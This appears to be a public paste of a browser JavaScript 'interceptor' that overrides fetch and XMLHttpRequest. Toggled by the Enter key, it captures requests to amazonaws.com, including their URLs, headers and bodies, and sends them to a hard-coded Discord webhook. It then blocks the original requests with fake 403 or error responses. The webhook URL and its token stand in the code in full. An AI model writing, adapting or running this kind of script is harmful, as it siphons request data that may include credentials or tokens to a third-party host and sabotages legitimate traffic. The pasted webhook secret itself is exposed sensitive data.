jtpintercepter

📅 2025-09-23T09:07:46.571Z
👁️ 44 katselukertaa
🔓 Julkinen


(() => {
  const WEBHOOK_URL = "https://discord.com/api/webhooks/1419964671615696926/s6t-FigGdl3aa94q2VHl7DTrJFgIrlK89Cq2CunG02r3X3AhZPK14J5j-zK_pAAeUI81";
  let blocking = false;

  // Helper: convert Headers or header object to plain object
  function getHeadersObj(headers) {
    const obj = {};
    if (!headers) return obj;
    if (headers.forEach) headers.forEach((v, k) => obj[k] = v);
    else Object.assign(obj, headers);
    return obj;
  }

  async function parseBody(options) {
    if (!options || !options.body) return null;
    try { return JSON.parse(options.body); } catch {}
    try { return options.body.toString(); } catch {}
    return "<unreadable>";
  }

  async function sendToDiscord(request) {
    try {
      const payload = JSON.stringify(request, null, 2);
      const chunkSize = 1800;
      for (let i = 0; i < payload.length; i += chunkSize) {
        const chunk = payload.slice(i, i + chunkSize);
        await window.fetch(WEBHOOK_URL, {
          method: "POST",
          headers: { "Content-Type": "application/json" },
          body: JSON.stringify({ content: "📡 Blocked request:\n```json\n" + chunk + "\n```" }),
        });
      }
    } catch (e) {
      console.warn("Failed to send to Discord:", e);
    }
  }

  // ----- FETCH PATCH -----
  const origFetch = window.fetch.bind(window);
  window.fetch = async function(input, options = {}) {
    const request = new Request(input, options);
    const url = request.url;
    const method = (request.method || "GET").toUpperCase();
    const headers = getHeadersObj(request.headers);
    let body = null;
    if (blocking && url.includes("amazonaws.com")) {
      try {
        body = await request.clone().text(); // capture full body
        try { body = JSON.parse(body); } catch {}
      } catch(e){ body = "<failed to read>"; }

      const requestData = { url, method, headers, body };
      console.log("Blocked fetch request:", requestData);
      sendToDiscord(requestData);

      return new Response(JSON.stringify({ blocked: true }), {
        status: 403,
        statusText: "Blocked",
        headers: { "Content-Type": "application/json" },
      });
    }
    return origFetch(input, options);
  };

  // ----- XHR PATCH -----
  (function() {
    const origOpen = XMLHttpRequest.prototype.open;
    const origSend = XMLHttpRequest.prototype.send;
    const origSetHeader = XMLHttpRequest.prototype.setRequestHeader;

    XMLHttpRequest.prototype.open = function(method, url, async, user, password) {
      this.__intercept = { method, url, headers: {} };
      return origOpen.apply(this, arguments);
    };

    XMLHttpRequest.prototype.setRequestHeader = function(key, value) {
      if (this.__intercept) this.__intercept.headers[key] = value;
      return origSetHeader.apply(this, arguments);
    };

    XMLHttpRequest.prototype.send = function(body) {
      const xhr = this;
      try {
        const { method, url, headers } = xhr.__intercept || {};
        if (blocking && url && url.includes("amazonaws.com")) {
          let bodyPreview = null;
          if (!body) bodyPreview = null;
          else if (typeof body === "string") bodyPreview = body;
          else if (body instanceof FormData) {
            bodyPreview = {};
            for (const [k, v] of body.entries()) bodyPreview[k] = v instanceof File ? `[File:${v.name}]` : v;
          } else bodyPreview = "<binary/unknown>";

          const requestData = { url, method, headers, body: bodyPreview };
          console.log("Blocked XHR request:", requestData);
          sendToDiscord(requestData);

          try { xhr.abort(); } catch(e) {}
          setTimeout(() => {
            try { xhr.dispatchEvent(new Event('error')); } catch(e) {}
          }, 0);
          return;
        }
      } catch(e){ console.error(e); }

      return origSend.apply(this, arguments);
    };
  })();

  // ----- TOGGLE -----
  document.addEventListener("keydown", e => {
    if (e.key === "Enter") {
      const active = document.activeElement;
      if (active && (active.tagName === "INPUT" || active.tagName === "TEXTAREA" || active.isContentEditable)) return;
      blocking = !blocking;
      console.log(blocking ? "🚫 Blocking amazonaws.com requests" : "✅ Normal mode");
    }
  });

  console.log("✅ Interceptor loaded. Press Enter to toggle blocking and send captured requests to Discord.");
})();